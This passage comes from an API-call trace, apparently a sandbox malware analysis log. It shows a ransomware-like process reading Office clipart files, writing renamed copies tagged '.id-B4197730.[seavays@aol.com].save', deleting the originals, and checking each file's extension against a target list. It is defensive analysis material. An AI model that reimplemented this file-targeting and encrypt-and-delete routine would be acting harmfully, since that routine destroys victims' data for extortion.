office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.961] GetLastError () returned 0x0 [0064.961] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0064.962] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xff0, lpOverlapped=0x0) returned 1 [0064.963] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.963] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.963] SetEndOfFile (hFile=0x384) returned 1 [0064.964] CloseHandle (hObject=0x384) returned 1 [0064.965] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.965] SetEndOfFile (hFile=0x394) returned 1 [0064.965] CloseHandle (hObject=0x394) returned 1 [0064.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0064.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.966] lstrlenW (lpString=".doc") returned 4 [0064.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.966] lstrlenW (lpString=".docx") returned 5 [0064.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.966] lstrlenW (lpString=".pdf") returned 4 [0064.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.966] lstrlenW (lpString=".xls") returned 4 [0064.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.966] lstrlenW (lpString=".xlsx") returned 5 [0064.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.966] lstrlenW (lpString=".ppt") returned 4 [0064.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.966] lstrlenW (lpString=".zip") returned 4 [0064.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.966] lstrlenW (lpString=".rar") returned 4 [0064.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.966] lstrlenW (lpString=".bz2") returned 4 [0064.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString=".7z") returned 3 [0064.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString=".dbf") returned 4 [0064.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString=".1cd") returned 4 [0064.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString=".jpg") returned 4 [0064.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString=".doc") returned 4 [0064.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString=".docx") returned 5 [0064.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.967] lstrlenW (lpString=".pdf") returned 4 [0064.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString=".xls") returned 4 [0064.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.967] lstrlenW (lpString=".xlsx") returned 5 [0064.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.967] lstrlenW (lpString=".ppt") returned 4 [0064.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.967] lstrlenW (lpString=".zip") returned 4 [0064.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.967] lstrlenW (lpString=".rar") returned 4 [0064.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.967] lstrlenW (lpString=".bz2") returned 4 [0064.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.968] lstrlenW (lpString=".7z") returned 3 [0064.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.968] lstrlenW (lpString=".dbf") returned 4 [0064.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.968] lstrlenW (lpString=".1cd") returned 4 [0064.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0064.968] lstrlenW (lpString=".jpg") returned 4 [0064.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.968] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.968] lstrlenW (lpString="BD08758_.WMF") returned 12 [0064.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.968] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24320) returned 1 [0064.968] CloseHandle (hObject=0x394) returned 1 [0064.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0064.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.969] GetLastError () returned 0x0 [0064.969] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0064.971] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0064.973] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.973] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.973] SetEndOfFile (hFile=0x384) returned 1 [0064.973] CloseHandle (hObject=0x384) returned 1 [0064.974] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.974] SetEndOfFile (hFile=0x394) returned 1 [0064.975] CloseHandle (hObject=0x394) returned 1 [0064.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0064.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.976] lstrlenW (lpString=".doc") returned 4 [0064.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.976] lstrlenW (lpString=".docx") returned 5 [0064.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.976] lstrlenW (lpString=".pdf") returned 4 [0064.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.976] lstrlenW (lpString=".xls") returned 4 [0064.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.976] lstrlenW (lpString=".xlsx") returned 5 [0064.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.976] lstrlenW (lpString=".ppt") returned 4 [0064.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.976] lstrlenW (lpString=".zip") returned 4 [0064.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.976] lstrlenW (lpString=".rar") returned 4 [0064.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.976] lstrlenW (lpString=".bz2") returned 4 [0064.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.976] lstrlenW (lpString=".7z") returned 3 [0064.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString=".dbf") returned 4 [0064.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString=".1cd") returned 4 [0064.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString=".jpg") returned 4 [0064.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString=".doc") returned 4 [0064.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString=".docx") returned 5 [0064.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.977] lstrlenW (lpString=".pdf") returned 4 [0064.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString=".xls") returned 4 [0064.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.977] lstrlenW (lpString=".xlsx") returned 5 [0064.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.977] lstrlenW (lpString=".ppt") returned 4 [0064.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.977] lstrlenW (lpString=".zip") returned 4 [0064.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.977] lstrlenW (lpString=".rar") returned 4 [0064.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString=".bz2") returned 4 [0064.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.977] lstrlenW (lpString=".7z") returned 3 [0064.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.978] lstrlenW (lpString=".dbf") returned 4 [0064.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.978] lstrlenW (lpString=".1cd") returned 4 [0064.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0064.978] lstrlenW (lpString=".jpg") returned 4 [0064.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.978] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.978] lstrlenW (lpString="BD08773_.WMF") returned 12 [0064.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.978] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24778) returned 1 [0064.978] CloseHandle (hObject=0x394) returned 1 [0064.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0064.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.979] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.979] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.979] GetLastError () returned 0x0 [0064.979] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0064.981] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0064.982] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.982] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.983] SetEndOfFile (hFile=0x384) returned 1 [0064.983] CloseHandle (hObject=0x384) returned 1 [0064.985] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.985] SetEndOfFile (hFile=0x394) returned 1 [0064.986] CloseHandle (hObject=0x394) returned 1 [0064.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0064.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.986] lstrlenW (lpString=".doc") returned 4 [0064.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.986] lstrlenW (lpString=".docx") returned 5 [0064.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.986] lstrlenW (lpString=".pdf") returned 4 [0064.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.986] lstrlenW (lpString=".xls") returned 4 [0064.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.986] lstrlenW (lpString=".xlsx") returned 5 [0064.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.986] lstrlenW (lpString=".ppt") returned 4 [0064.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString=".zip") returned 4 [0064.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.987] lstrlenW (lpString=".rar") returned 4 [0064.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString=".bz2") returned 4 [0064.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString=".7z") returned 3 [0064.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString=".dbf") returned 4 [0064.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString=".1cd") returned 4 [0064.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString=".jpg") returned 4 [0064.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.987] lstrlenW (lpString=".doc") returned 4 [0064.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString=".docx") returned 5 [0064.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.987] lstrlenW (lpString=".pdf") returned 4 [0064.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.987] lstrlenW (lpString=".xls") returned 4 [0064.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.987] lstrlenW (lpString=".xlsx") returned 5 [0064.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.987] lstrlenW (lpString=".ppt") returned 4 [0064.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.988] lstrlenW (lpString=".zip") returned 4 [0064.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.988] lstrlenW (lpString=".rar") returned 4 [0064.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.988] lstrlenW (lpString=".bz2") returned 4 [0064.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.988] lstrlenW (lpString=".7z") returned 3 [0064.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.988] lstrlenW (lpString=".dbf") returned 4 [0064.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.988] lstrlenW (lpString=".1cd") returned 4 [0064.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0064.988] lstrlenW (lpString=".jpg") returned 4 [0064.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.988] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.988] lstrlenW (lpString="BD08808_.WMF") returned 12 [0064.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.988] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=47996) returned 1 [0064.989] CloseHandle (hObject=0x394) returned 1 [0064.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0064.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.989] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.989] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.989] GetLastError () returned 0x0 [0064.989] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0065.155] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x364fc94, 